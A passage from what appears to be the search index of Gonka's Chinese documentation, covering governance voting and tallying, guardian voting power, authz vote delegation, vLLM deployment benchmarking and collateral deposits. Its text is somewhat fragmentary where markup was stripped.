proposed_params.json || true\n对于 MsgUpdateParams，模块通常期望完整的 params 对象，并将 authority 设置为 gov 模块账户。
所有治理操作均通过您的冷账户机器使用存储在文件密钥环中的执行。这是您加入网络时创建的治理密钥（参见快速入门）。
交易通过RPC端点发送（此处称为<NODE_URL>/chain-rpc/）。如果您未指定--node，CLI将默认使用tcp://localhost:26657。除非您在本地运行自己的节点，否则请始终提供--node <NODE_URL>/chain-rpc/。
此处支持并推荐使用无序交易，以避免序列争用。（docs.cosmos.network)
在交易命令中始终包含这些标志--from <COLD_KEY_NAME> → 使用您的冷治理密钥。--keyring-backend file → 确保使用本地密钥进行签名（系统将提示您）。--unordered --timeout-duration=60s → 使交易在有限时间内有效，绕过序列排序（v0.53+新增功能）。--gas=2000000 → 手动设置gas上限（一个足够宽裕的固定值，足以满足这些交易）。注意：当使用--gas auto时，--gas-adjustment仅对估算值进行乘法运算，因此与固定的--gas一起使用时，它将被忽略且不添加任何缓冲。--node <NODE_URL>/chain-rpc/ → 除非您运行本地RPC节点，否则为必填项。--yes → 自动批准广播。有关交易生命周期和gas的背景信息，请参见Cosmos SDK: 交易和Gas与费用。
"}, {"location": "gonka/docs/zh/governance/transactions-and-governance/#_2", "title": "何时需要治理提案", "text": "任何影响网络的链上变更都需要治理提案，例如：
MsgUpdateParams）任何拥有有效治理密钥（冷账户）的人都可以支付所需费用并创建治理提案。然而，每个提案仍需通过基于PoC加权投票由活跃参与者批准。
建议提案者首先在链下讨论重大变更（例如通过GitHub或社区论坛），以提高批准的可能性。
需要提案创建、投票、投票权、资格和委托的详细信息？成功的提案可以更改治理参数。在准备提案、发布投票说明或判断提案是否可能通过之前，请始终查询链上当前值。
inferenced query gov params -o json --node <NODE_URL>/chain-rpc/ \\\n | jq '.params | {\n min_deposit,\n expedited_min_deposit,\n max_deposit_period,\n voting_period,\n expedited_voting_period,\n quorum,\n threshold,\n expedited_threshold,\n veto_threshold,\n burn_vote_veto\n }'\n撰写本文时，主网使用48小时的常规投票期、12小时的快速投票期、25%的法定人数、>50%的常规赞成阈值、>66.7%的快速赞成阈值、>33.4%的否决阈值、常规提案的最低存款为500 GNK，快速提案的最低存款为1000 GNK。
"}, {"location": "gonka/docs/zh/governance/transactions-and-governance/#_5", "title": "跟踪提案状态", "text": "# One proposal\ninferenced query gov proposal <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\n# Tally only\ninferenced query gov tally <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\n# List all\ninferenced query gov proposals -o json --node <NODE_URL>/chain-rpc/\n关于完整的法定人数、阈值、否决和 abstain 公式，请参见提案投票。
您还可以通过仪表板监控治理：
<NODE_URL>/dashboard/gonka/gov--unordered 时，交易通过 --timeout-duration 携带过期时间，且其序列号未设置。期望单调序列的外部工具不得依赖这些交易的序列号。(docs.cosmos.network)--gas-adjustment 或设置 --gas-prices。(docs.cosmos.network)投票需要在提案的 tokens > 0 拥有已绑定的 voting_end_height。资格由三个独立的检查决定：
绑定状态（Cosmos SDK）
只有具有 status = BOND_STATUS_BONDED 和 tokens > 0 的验证者才贡献投票权。零代币的绑定条目处于休眠状态，不贡献任何投票权。
监禁状态
被监禁的验证者（jailed = true）会自动解除绑定，并从活跃验证者集合中移除，失去所有投票权，直到他们通过 MsgUnjail 手动解除监禁。因离线或双签而被惩罚将触发监禁。
在Gonka分叉中，这通过 SetComputeValidators 加以强化：在纪元结束时，未出现在计算结果中的验证者，或被明确标记为删除的验证者，将被 tokens = 0。由于Gonka没有传统的解除绑定周期，被监禁的验证者会立即被删除，而不是进入解除绑定队列。
PoC和CPoC参与
投票权最终来源于 participant.weight，它会根据每个纪元的PoC和CPoC结果重新计算：
INACTIVE，从下一个纪元的计算结果中移除，获得 tokens = 0，且不能投票。tokens = 0，无投票权重。委托人
标准的Cosmos SDK委托人，即通过 MsgDelegate 进行质押的任何人，可以独立投票，并且他们的投票会覆盖其委托验证者在所委托份额上的投票。实际上，几乎所有Gonka的投票权都集中在与PoC权重绑定的验证者自身的自委托中，因此此路径很少使用。
大多数参与者只需验证提案并投出投票。完成以下四件事：
"}, {"location": "gonka/docs/zh/governance/voting-on-proposals/#id", "title": "确认正确的提案ID（并验证它确实是被告知的那个）", "text": "# List all proposals (IDs + basic info)\ninferenced query gov proposals -o json --node <NODE_URL>/chain-rpc/\n# Inspect a specific proposal in detail\ninferenced query gov proposal <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\n确认 id、title、summary 以及（如果存在）metadata 与您收到的内容一致。
了解投票选项和简要流程yes, no, no_with_veto, abstain。治理参数可在链上配置。请勿依赖从旧文档或公告中复制的固定数值；在建议参与者如何投票前，请查询实时链上数据。
inferenced query gov params -o json --node <NODE_URL>/chain-rpc/ \\\n | jq '.params | {\n voting_period,\n expedited_voting_period,\n quorum,\n threshold,\n expedited_threshold,\n veto_threshold,\n burn_vote_veto,\n min_deposit,\n expedited_min_deposit\n }'\n撰写本文时，主网参数为：
min_deposit: 500000000000ngonka # 500 GNK\nexpedited_min_deposit: 1000000000000ngonka # 1000 GNK\nmax_deposit_period: 86400s # 24 hours\nvoting_period: 172800s # 48 hours\nexpedited_voting_period: 43200s # 12 hours\nquorum: 0.25\nthreshold: 0.500000000000000000\nexpedited_threshold: 0.667000000000000000\nveto_threshold: 0.334000000000000000\nburn_vote_veto: true\n计票使用基于PoC的加权投票权。提案只有在达到法定人数后才能通过：
total_votes / total_bonded_voting_power >= quorum\n位置：
total_votes = Yes + No + NoWithVeto + Abstain\nnon_abstain_votes = Yes + No + NoWithVeto\n根据当前主网参数，法定人数为：
total_votes / total_bonded_voting_power >= 0.25\n达到法定人数后，否决权在通过门槛之前进行检查：
NoWithVeto / (Yes + No + NoWithVeto + Abstain) > veto_threshold\n使用当前主网参数：
NoWithVeto / total_votes > 0.334\n如果此条件为真，提案将因否决而失败。由于 burn_vote_veto 当前为 true，否决拒绝将燃烧提案押金。
最后，常规通过阈值为：
Yes / (Yes + No + NoWithVeto) > threshold\n使用当前主网参数：
Yes / non_abstain_votes > 0.5\n对于加急提案：
Yes / non_abstain_votes > 0.667\nabstain 如何影响结果", "text": "abstain 是中立的，但仍会影响计票：
重要提示：abstain 不会 增加 no_with_veto。否决分子仅包含 NoWithVeto。
示例：
Yes = 40\nNo = 0\nNoWithVeto = 20\nAbstain = 40\n\nveto ratio = 20 / 100 = 20% # veto does not trigger\npass ratio = 40 / 60 = 66.7% # passes regular threshold\n# options: yes | no | no_with_veto | abstain\ninferenced tx gov vote <VOTE_PROPOSAL_ID> yes \\\n --from <COLD_KEY_NAME> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node <NODE_URL>/chain-rpc/ \\\n --yes\n# See tally\ninferenced query gov tally <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\n# Optional: list votes\ninferenced query gov votes <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/\nquery gov proposal、query gov tally 和 query gov proposals。另请参见 跟踪提案状态。--keyring-backend file --unordered --timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 --node <NODE_URL>/chain-rpc/。已绑定总权重是所有已绑定验证者中 validator.tokens 的总和，条件为 tokens > 0：
total_bonded = Σ validator.tokens (over all bonded validators with tokens > 0)\n每个验证者的 tokens 值由推理模块通过 Staking.SetComputeValidators() 在每次纪元转换时设置。 对于绝大多数验证者：
validator.tokens = participant.weight (their PoC weight in the current epoch)\n对于创世守护者，首先会应用一个额外的增强算力步骤（见下文）。
"}, {"location": "gonka/docs/zh/governance/voting-power-eligibility/#_3", "title": "创世守护者", "text": "一组由项目团队运营的引导验证节点，硬编码在链参数中。它们在早期网络阶段获得临时的算力提升。该提升可在链上配置，并随时间变化，因此在发布确切的守护者投票算力数值前，请查询实时参数。
当前主网上创世守护者列表gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5 (gonka-1)gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v (gonka-2)gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e (gonka-3)此列表可通过治理配置（genesis_guardian_params.guardian_addresses），在引导阶段预计不会发生变化。
机制记录在官方提案中：
在 SetComputeValidators 运行之前，推理模块会应用 applyEarlyNetworkProtection，其计算增强算力的方式如下：
other_total = total_network_power − Σ guardian_original_power\ntotal_enhancement = other_total × multiplier\nper_guardian_power = total_enhancement / guardian_count\n\nguardian.tokens = per_guardian_power # original PoC weight is REPLACED\nnon_guardian.tokens = participant.weight # unchanged\n从 v0.2.13 升级开始，配置的乘数为 0.33334，旨在在应用提升的纪元转换时，达到大约 25% 的综合 Guardian 算力：
guardian_share = multiplier / (1 + multiplier)\nguardian_share = 0.33334 / 1.33334 ≈ 25%\n效果（在每次纪元转换时测量）：
multiplier / (1 + multiplier)。tokens 每个纪元设置一次，因此当网络其余部分的 PoC 权重增长时，Guardian 总份额可能在纪元转换之间发生偏移。0.33334 倍率下，Guardian 目标约为 25% 的总调整算力，不足以单独通过提案，也不足以在当前 33.4% 否决阈值下单独否决。当满足以下两个链上条件时，增强功能将自动停用（无需治理投票）：
total_network_power >= network_maturity_threshold (currently 15,000,000)\ncurrent_height >= network_maturity_min_height (currently 3,000,000)\n主网当前状态：
3,000,000）已被跨越。15,000,000，因此激励机制仍处于激活状态。15,000,000后的第一个纪元转换时，激励机制将关闭；届时，Guardian验证者的tokens将等于其PoC权重，与其他所有验证者相同。这两个阈值均可通过治理机制调整（network_maturity_threshold 和 network_maturity_min_height），因此如有需要，可通过成功的治理提案调整激活截止条件。
如果持有投票权的密钥不是您日常操作所使用的密钥，则可以提前授予治理投票权限。
在此设置中：
请联系该密钥的所有者，请求其授权您的密钥代表他们投票。若无此授权，您的密钥无法为该投票权提交治理投票。
"}, {"location": "gonka/docs/zh/governance/voting-power-eligibility/#_6", "title": "其他密钥代表您投票", "text": "请使用下方命令，从持有投票权的密钥执行。这将授权被授权密钥代表您提交治理投票。 此委托仅允许对治理提案进行投票。被授权者仍可为自己密钥投票。授权者可随时撤销此权限。
"}, {"location": "gonka/docs/zh/governance/voting-power-eligibility/#1", "title": "1. 授予投票权限（从授权者密钥执行）", "text": "命令示例响应./inferenced tx authz grant <GRANTEE_GONKA_ADDRESS> generic \\\n --msg-type=/cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --expiration=<UNIX_TIMESTAMP> \\\n --home .inference \\\n --keyring-backend file\n{\n \"height\": \"0\",\n \"txhash\": \"8D96FB6FC06FFB928FBC89FE950689CD040C7F338C197BA856175EC7462A3FFA\",\n \"codespace\": \"\",\n \"code\": 0,\n \"data\": \"\",\n \"raw_log\": \"\",\n \"logs\": [],\n \"info\": \"\",\n \"gas_wanted\": \"0\",\n \"gas_used\": \"0\",\n \"tx\": null,\n \"timestamp\": \"\",\n \"events\": []\n}\n./inferenced query authz grants <GRANTER_GONKA_ADDRESS> <GRANTEE_GONKA_ADDRESS> \\\n --node=\"<NODE_URL>/chain-rpc/\" \\\n --output=json | jq .\n{\n \"grants\": [\n {\n \"authorization\": {\n \"type\": \"cosmos-sdk/GenericAuthorization\",\n \"value\": {\n \"msg\": \"/cosmos.gov.v1beta1.MsgVote\"\n }\n },\n \"expiration\": \"2026-12-03T18:38:18Z\"\n }\n ],\n \"pagination\": {\n \"total\": \"1\"\n }\n}\n# Find the proposal ID which you are voting for - use it as <VOTE_PROPOSAL_ID> in the voting body \n./inferenced query gov proposals --output json\n\n# Prepare the file with the voting body\ncat > /tmp/authz-vote.json << 'EOF'\n{\n \"body\": {\n \"messages\": [\n {\n \"@type\": \"/cosmos.authz.v1beta1.MsgExec\",\n \"grantee\": \"<GRANTEE_GONKA_ADDRESS>\",\n \"msgs\": [\n {\n \"@type\": \"/cosmos.gov.v1beta1.MsgVote\",\n \"proposal_id\": \"<VOTE_PROPOSAL_ID>\",\n \"voter\": \"<GRANTER_GONKA_ADDRESS>\",\n \"option\": \"VOTE_OPTION_YES\"\n }\n ]\n }\n ]\n }\n}\nEOF\n\n\n# Vote using the file \n./inferenced tx authz exec /tmp/authz-vote.json \\\n --from=<GRANTEE_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --home .inference \\\n --keyring-backend file \\\n --node=\"<NODE_URL>/chain-rpc/\" -y\n{\n \"height\": \"0\",\n \"txhash\": \"C31311D9C43DD6F1DDE7CA143989A0551E3075C2FA0A2BB5F054A120AE552B2B\",\n \"codespace\": \"\",\n \"code\": 0,\n \"data\": \"\",\n \"raw_log\": \"\",\n \"logs\": [],\n \"info\": \"\",\n \"gas_wanted\": \"0\",\n \"gas_used\": \"0\",\n \"tx\": null,\n \"timestamp\": \"\",\n \"events\": []\n}\ncode: 0 表示投票交易已被接受——这表明投票已成功提交。CLI 会返回带有 txhash 的广播回执；在交易被包含进区块之前，height 为 0。
= participant.weight 上一周期 PoC 失败（非活跃） CPoC 失败，已从周期中移除 是 被关押的验证者 （直到解除关押并重新绑定） = (other_total × current_multiplier) / guardian_count"}, {"location": "gonka/docs/zh/host/", "title": "重定向到主机部分", "text": ""}, {"location": "gonka/docs/zh/host/#_1", "title": "重定向到主机部分", "text": "此页面将重定向到文档的主机部分。
如果未自动重定向，请点击此处。
"}, {"location": "gonka/docs/zh/host/benchmark-to-choose-optimal-deployment-config-for-llms/", "title": "部署基准测试", "text": ""}, {"location": "gonka/docs/zh/host/benchmark-to-choose-optimal-deployment-config-for-llms/#llm", "title": "LLM 最佳部署配置基准测试", "text": ""}, {"location": "gonka/docs/zh/host/benchmark-to-choose-optimal-deployment-config-for-llms/#_1", "title": "简介", "text": "有效的 GPU 利用对于部署大语言模型至关重要。Gonka 节点利用定制的 vLLM 推理引擎，支持高性能推理及其验证。
为了获得最佳结果，vLLM 需要仔细的、特定于服务器的配置。最佳性能取决于 GPU 特性和跨 GPU 数据传输速度。本指南提供如何使用 Qwen/QwQ-32 模型作为示例选择 vLLM 参数的说明。我们还将描述哪些参数可以调整以获得最佳性能而不影响验证，以及哪些参数必须保持不变。
性能与正确性
本指南讨论的是性能调优（compressa-perf、TP / PP）。要验证您的部署生成与目标模型黄金参考相匹配的诚实 PoC 向量，请参见验证 ML 节点部署（gonka 仓库中的 mlnode-validate 技能）。
链接到我们的 vLLM 分支。
"}, {"location": "gonka/docs/zh/host/benchmark-to-choose-optimal-deployment-config-for-llms/#vllm", "title": "理解 vLLM 参数", "text": "要配置基于 vLLM 的模型部署，你需要为每个模型定义 args：
\"Qwen/Qwen2.5-7B-Instruct\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--pipeline-parallel-size\",\n \"2\"\n ]\n}\n单个 vLLM 实例使用的 GPU 数量取决于两个参数：
--tensor-parallel-size (TP)--pipeline-parallel-size (PP)使用的 GPU 数量在大多数情况下等于 TP*PP。
如果 MLNode 拥有的 GPU 数量超过单个实例请求的数量，它将启动多个实例，有效利用可用的 GPU。
例如，如果节点有 10 个 GPU，每个实例配置为使用 4 个，MLNode 将启动两个实例（4 + 4 GPU）并在它们之间进行负载均衡。在许多情况下，部署更多数量的 vLLM 实例，每个实例使用较少的 GPU，可能是更有效的策略。
vLLM 中有两种类型的参数。
类型 描述 参数 影响推理 改变输出质量或行为。除非明确允许，否则你不得修改这些参数，因为这可能导致验证失败。--kv-cache-dtype--max-model-len--speculative-model--dtype--quantization 等 不影响推理 改变模型如何利用可用的 GPU。 --tensor-parallel-size--pipeline-parallel-size--enable-expert-parallel 等"}, {"location": "gonka/docs/zh/host/benchmark-to-choose-optimal-deployment-config-for-llms/#_2", "title": "性能测试", "text": "要测量模型部署的性能，你将使用 compressa-perf 工具。你可以在 GitHub 上找到该工具。
首先，使用 pip 安装 compressa-perf：
pip install git+https://github.com/product-science/compressa-perf.git\n基准测试工具使用 YAML 配置文件来定义测试参数。默认配置文件可在此处获得。
"}, {"location": "gonka/docs/zh/host/benchmark-to-choose-optimal-deployment-config-for-llms/#3", "title": "3. 运行性能测试", "text": "一旦你的模型部署完成，你就可以测试其性能。使用以下命令，将 <IP> 和 <INFERENCE_PORT> 替换为你的具体部署详情，将 MODEL_NAME 替换为你正在测试的模型名称（例如，Qwen/QwQ-32B）：
compressa-perf \\\n measure-from-yaml \\\n --no-sign \\\n --node_url http://<IP>:<INFERENCE_PORT> \\\n config.yml \\\n --model_name MODEL_NAME\ncompressa-perf-db.sqlite 的文件中"}, {"location": "gonka/docs/zh/host/benchmark-to-choose-optimal-deployment-config-for-llms/#4", "title": "4. 查看结果", "text": "要显示基准测试结果，包括关键指标和参数，请运行：
compressa-perf list --show-metrics --show-parameters\n测试在已根据说明部署 MLNode 的服务器上执行。 确保在继续之前已安装性能工具（compressa-perf）并下载了必要的配置文件。
--kv-cache-dtype fp8、--quantization fp8）\"MODEL_NAME\": {\n \"args\": [\n \"--kv-cache-dtype\", \"fp8\", \n \"--quantization\", \"fp8\",\n ...\n ]\n} \n确定你将实验的可调参数范围。对于不影响推理输出的性能优化，这些主要包括 --tensor-parallel-size (TP) 和 --pipeline-parallel-size (PP) 等参数，以及其他不改变推理结果的参数。
根据服务器的 GPU 和模型大小选择这些参数。单个 vLLM 实例使用的 GPU 数量通常是张量并行大小和管道并行大小的乘积。如果可能，会自动使用多个实例。
"}, {"location": "gonka/docs/zh/host/benchmark-to-choose-optimal-deployment-config-for-llms/#3_1", "title": "3. 测试每个配置并测量性能", "text": "对于每个定义的配置：
"}, {"location": "gonka/docs/zh/host/benchmark-to-choose-optimal-deployment-config-for-llms/#31", "title": "3.1. 部署配置", "text": "使用 MLNode REST API 端点部署当前配置：
http://<IP>:<MANAGEMENT_PORT>/api/v1/inference/up\nimport requests\nfrom typing import List, Optional\n\ndef inference_up(\n base_url: str,\n model: str,\n config: dict\n) -> dict:\n url = f\"{base_url}/api/v1/inference/up\"\n payload = {\n \"model\": model,\n \"dtype\": \"float16\",\n \"additional_args\": config[\"args\"]\n }\n\n response = requests.post(url, json=payload)\n response.raise_for_status()\n\n return response.json()\n\nmodel_name = \"MODEL_NAME\"\nmodel_config = {\n \"args\": [\n \"--quantization\", \"fp8\",\n \"--tensor-parallel-size\", \"8\",\n \"--pipeline-parallel-size\", \"1\",\n \"--kv-cache-dtype\", \"fp8\"\n ]\n}\n\ninference_up(\n base_url=\"http://<IP>:<MANAGEMENT_PORT>\",\n model=model_name,\n config=model_config\n)\nhttp://<IP>:<MANAGEMENT_PORT>/api/v1/state 验证部署状态。预期状态：
{'state': 'INFERENCE'}\n运行 compressa-perf 工具来测量已部署配置的性能并收集相关指标。
分析从每个测试配置收集的指标（如 TTFT、延迟 和 吞吐量）。比较这些结果以确定在服务器环境中提供最佳性能的设置。
Qwen/QwQ-32B", "text": "假设我们有一台配备 8x4070 S Ti 的服务器。每个 GPU 有 16GB VRAM。 我们已将 MLNode 容器部署到此服务器，具有以下端口映射：
http://24.124.32.70:46195http://24.124.32.70:46085对于此示例，我们将使用 Qwen/QwQ-32B 模型，这是在 Gonka 部署的模型之一。它具有以下强制参数：
--kv-cache-dtype fp8--quantization fp8基于这些强制参数，Qwen/QwQ-32B 的初始配置必须包括：
\"Qwen/QwQ-32B\": {\n \"args\": [\n \"--kv-cache-dtype\", \"fp8\", \n \"--quantization\", \"fp8\",\n ...\n ]\n} \n具有这些参数的 Qwen/QwQ-32B 模型需要至少 80GB 的 VRAM 才能有效部署。因此，我们需要为每个实例使用至少 6x4070S Ti。我们无法在此服务器中容纳两个实例并希望使用所有 GPU，让我们部署一个使用 8 个 GPU 的单个实例（TP * PP = 8）。 潜在配置可以包括：
高管道并行性通常在单服务器部署中不会产生良好的性能。因此，在此示例中，我们只测试两种配置：
使用 Python 脚本部署模型：
Python...\nmodel_name = \"Qwen/QwQ-32B\"\nmodel_config = {\n \"args\": [\n \"--quantization\", \"fp8\",\n \"--tensor-parallel-size\", \"8\",\n \"--pipeline-parallel-size\", \"1\",\n \"--kv-cache-dtype\", \"fp8\"\n ]\n}\n\ninference_up(\n base_url=\"http://24.124.32.70:46195\",\n model=model_name,\n config=model_config\n)\n{\"status\": \"OK\"}\n在 MLNode 日志中，我们看到 vLLM 已成功部署：
...\nINFO 05-15 23:50:01 [api_server.py:1024] Starting vLLM API server on http://0.0.0.0:5000\nINFO 05-15 23:50:01 [launcher.py:26] Available routes are:\nINFO 05-15 23:50:01 [launcher.py:34] Route: /openapi.JSON, Methods: GET, HEAD\nINFO 05-15 23:50:01 [launcher.py:34] Route: /docs, Methods: GET, HEAD\nINFO 05-15 23:50:01 [launcher.py:34] Route: /docs/oauth2-redirect, Methods: GET, HEAD\nINFO 05-15 23:50:01 [launcher.py:34] Route: /redoc, Methods: GET, HEAD\nINFO 05-15 23:50:01 [launcher.py:34] Route: /health, Methods: GET\nINFO 05-15 23:50:01 [launcher.py:34] Route: /load, Methods: GET\nINFO 05-15 23:50:01 [launcher.py:34] Route: /ping, Methods: GET, POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /tokenize, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /detokenize, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/models, Methods: GET\nINFO 05-15 23:50:01 [launcher.py:34] Route: /version, Methods: GET\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/chat/completions, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/completions, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/embeddings, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /pooling, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /score, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/score, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/audio/transcriptions, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /rerank, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/rerank, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v2/rerank, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /invocations, Methods: POST\nINFO: Started server process [4437]\nINFO: Waiting for application startup.\nINFO: Application startup complete.\nINFO: 127.0.0.1:37542 - \"GET /v1/models HTTP/1.1\" 200 OK\nrequests.get(\n \"http://24.124.32.70:46195/api/v1/state\"\n).JSON()\n{'state': 'INFERENCE'}\n开始性能测试：
compressa-perf \\\n measure-from-yaml \\\n --no-sign \\\n --node_url http://24.124.32.70:46085 \\\n --model_name Qwen/QwQ-32B \\\n config.yml\n如果发生错误请检查日志
配置可能仍然无法按预期工作；如果发生错误，请检查 MLNode 日志进行故障排除。
测试完成后，我们可以看到结果：
compressa-perf list --show-metrics --show-parameters\n使用 Python 脚本部署模型：
Python...\nmodel_name = \"Qwen/QwQ-32B\"\nmodel_config = {\n \"args\": [\n \"--quantization\", \"fp8\",\n \"--tensor-parallel-size\", \"4\",\n \"--pipeline-parallel-size\", \"2\",\n \"--kv-cache-dtype\", \"fp8\"\n ]\n}\n\ninference_up(\n base_url=\"http://24.124.32.70:46195\",\n model=model_name,\n config=model_config\n)\n{\"status\": \"OK\"}\n检查日志显示成功部署，/api/v1/state 仍然返回 {'state': 'INFERENCE'}
使用相同命令第二次测量性能：
compressa-perf \\\n measure-from-yaml \\\n --no-sign \\\n --node_url http://24.124.32.70:46085 \\\n --model_name Qwen/QwQ-32B \\\n config.yml\ncompressa-perf list --show-metrics --show-parameters\n我们的实验显示以下指标：
实验 指标 TP 8, PP 1 TP 4, PP 2 ~1000 令牌输入 / ~300 令牌输出 TTFT 6.2342 4.7595 ~1000 令牌输入 / ~300 令牌输出 输入吞吐量 497.8204 500.2883 ~1000 令牌输入 / ~300 令牌输出 输出吞吐量 143.3828 144.0936 ~1000 令牌输入 / ~300 令牌输出 延迟 20.9172 20.8093 ~23000 令牌输入 / ~1000 令牌输出 TTFT 57.7112 28.6839 ~23000 令牌输入 / ~1000 令牌输出 输入吞吐量 840.3887 1017.6811 ~23000 令牌输入 / ~1000 令牌输出 输出吞吐量 35.7324 43.3700 ~23000 令牌输入 / ~1000 令牌输出 延迟 271.9932 223.6245TP=4 和 PP=2 设置显示了一致的更好性能，我们应该使用它。
"}, {"location": "gonka/docs/zh/host/collateral/", "title": "抵押", "text": ""}, {"location": "gonka/docs/zh/host/collateral/#_1", "title": "抵押品机制", "text": "抵押品机制允许参与者锁定 GNK 代币，以激活其已获得的“计算量证明”（Proof of Compute, PoC）权重的一部分。
投票权从不单纯来源于持有代币。GNK 代币作为经济抵押品，而非影响力的来源。影响力通过持续的计算贡献获得，而锁定 GNK 抵押品则是参与治理并承担相应责任的前提。
"}, {"location": "gonka/docs/zh/host/collateral/#_2", "title": "核心概念", "text": "假设所有 $NODE_URL 均为已启用链上 RPC 和链上 API 的节点 URL。
curl \"$NODE_URL/chain-api/productscience/inference/inference/params\" | jq '.params.collateral_params' ``-slash_fraction_invalid- 因无效推理而被罚没的抵押品比例（每个epoch最多一次）。 -slash_fraction_downtime- 因停机而被罚没的抵押品比例（确认PoC失败/被禁闭）。 -downtime_missed_percentage_threshold- 已弃用，不再使用。 -base_weight_ratio- 节点在无需抵押品的情况下可拥有的权重比例。 -collateral_per_weight_unit` - 每单位权重所需的抵押品数量。
要估算完全支持特定权重所需的最低抵押品数量，你需要链上的两个参数：collateral_per_weight_unit（每单位权重的成本）和 base_weight_ratio（无条件授予、无需抵押品的权重比例）。
只有需要抵押品支持的权重部分才需要抵押：
`所需抵押品 = 权重 × (1 − base_weight_ratio) × collateral_per_weight_unit````bash WEIGHT=1000
PARAMS=$(curl -s \"$NODE_URL/chain-api/productscience/inference/inference/params\")
COLLATERAL_PER_UNIT=$(echo \"$PARAMS\" | jq -r '.params.collateral_params.collateral_per_weight_unit | (.value | tonumber) * pow(10; .exponent | tonumber)')
BASE_WEIGHT_RATIO=$(echo \"$PARAMS\" | jq -r '.params.collateral_params.base_weight_ratio | (.value | tonumber) * pow(10; .exponent | tonumber)')
REQUIRED=$(echo \"$WEIGHT * (1 - $BASE_WEIGHT_RATIO) * $COLLATERAL_PER_UNIT\" | bc -l) printf \"Minimum required collateral: %.0f ngonka\\n\" \"$REQUIRED\" ``例如，根据当前主网参数（base_weight_ratio = 0.2，collateral_per_weight_unit = 4.2）且WEIGHT=1000时，所需的最低抵押金额为1000 × 0.8 × 4.2 = 3360 ngonka`。
为什么是 (1 − base_weight_ratio)？ 每个参与者无条件获得 weight × base_weight_ratio（默认 20%）的基础权重。只有剩余的 weight × (1 − base_weight_ratio)（默认 80%）需要由抵押品支持。存入超过此最低要求的抵押品是安全的，但不会激活超出你潜在权重的额外权重——链上实际采用的是 min(可抵押支持的权重, 抵押品所能覆盖的权重)。有关超出最低要求的建议，请参见下方的推荐缓冲部分。
宽限期
当前纪元低于 grace_period_end_epoch（默认值为 180）时，无论权重多少，所需抵押金额均为 0，上述公式不适用——所有参与者将无条件获得其全部潜在权重的 100%。要检查你所运行的网络是否仍处于宽限期内，请将当前纪元与 grace_period_end_epoch 进行比较： bash curl -s \"$NODE_URL/chain-api/productscience/inference/inference/params\" \\ | jq '.params.collateral_params.grace_period_end_epoch'在主网上，宽限期已经结束，因此现在需要提供抵押品。
由于 PoC 权重在不同周期之间可能会波动（由于归一化及其他因素），存入恰好等于最低要求的数量可能导致临时抵押不足。权重较小的节点可能经历相对更大的波动。建议在抵押水平仍较小时，存入高达所需最低金额 2 倍的抵押品。这能提供操作安全性，并防止在周期边界处意外降低权重。协议不会自动补充抵押品。
"}, {"location": "gonka/docs/zh/host/collateral/#_6", "title": "存入抵押品", "text": "存入抵押品分为三个步骤：检查当前余额、存入额外的 ngonka，然后验证新的余额。
时间提示
抵押品必须在您希望其生效的周期内 PoC 验证阶段结束前 上链。链上每周期仅在计算下一周期权重时读取一次您的当前抵押余额——不会自动补充。为确保安全，请在您的节点进入下一个 PoC 阶段前完成抵押品存入。
"}, {"location": "gonka/docs/zh/host/collateral/#1", "title": "1. 检查当前抵押品", "text": "将 <GONKA_ACCOUNT_ADDRESS> 替换为您要查询的地址（可以是您自己的或其他人的地址）。
通过 CLI：bash ./inferenced query collateral show-collateral <GONKA_ACCOUNT_ADDRESS> \\ --node $NODE_URL/chain-rpc/或通过 API：bash curl \"$NODE_URL/chain-api/productscience/inference/collateral/collateral/<GONKA_ACCOUNT_ADDRESS>\"如果该地址从未存入过抵押品，则响应将为空或返回“未找到”错误——这是预期行为。
始终使用 ngonka 面额。该交易由参与者的账户密钥（冷密钥）签名：bash ./inferenced tx collateral deposit-collateral <COLLATERAL_SIZE>ngonka \\ --from gonka-account-key \\ --keyring-backend file \\ --node $NODE_URL/chain-rpc/ \\ --chain-id gonka-mainnet要为给定的目标权重计算合理的 <COLLATERAL_SIZE>，请参见上方的按权重计算抵押额。有关推荐的安全余量，请参见推荐缓冲区。
存款是累积的：多次运行此命令会将金额累加到现有余额中。如需释放已锁定的抵押品，请使用 withdraw-collateral（参见下方的提取抵押品部分）。
当交易被包含进区块后，使用你自己的地址重新运行步骤1中的检查命令。amount 字段的值应等于你之前的余额加上本次存入的金额。bash MY_ADDR=$(./inferenced keys show gonka-account-key -a --keyring-backend file) curl -s \"$NODE_URL/chain-api/productscience/inference/collateral/collateral/$MY_ADDR\" | jq存款现已上链。它将在下一个纪元边界激活你相应的权重，即链在 PoC 验证阶段结束时重新计算权重的时刻。如果你在纪元中途进行存款，请不要期望你的权重立即发生变化——需等待一个完整的纪元。
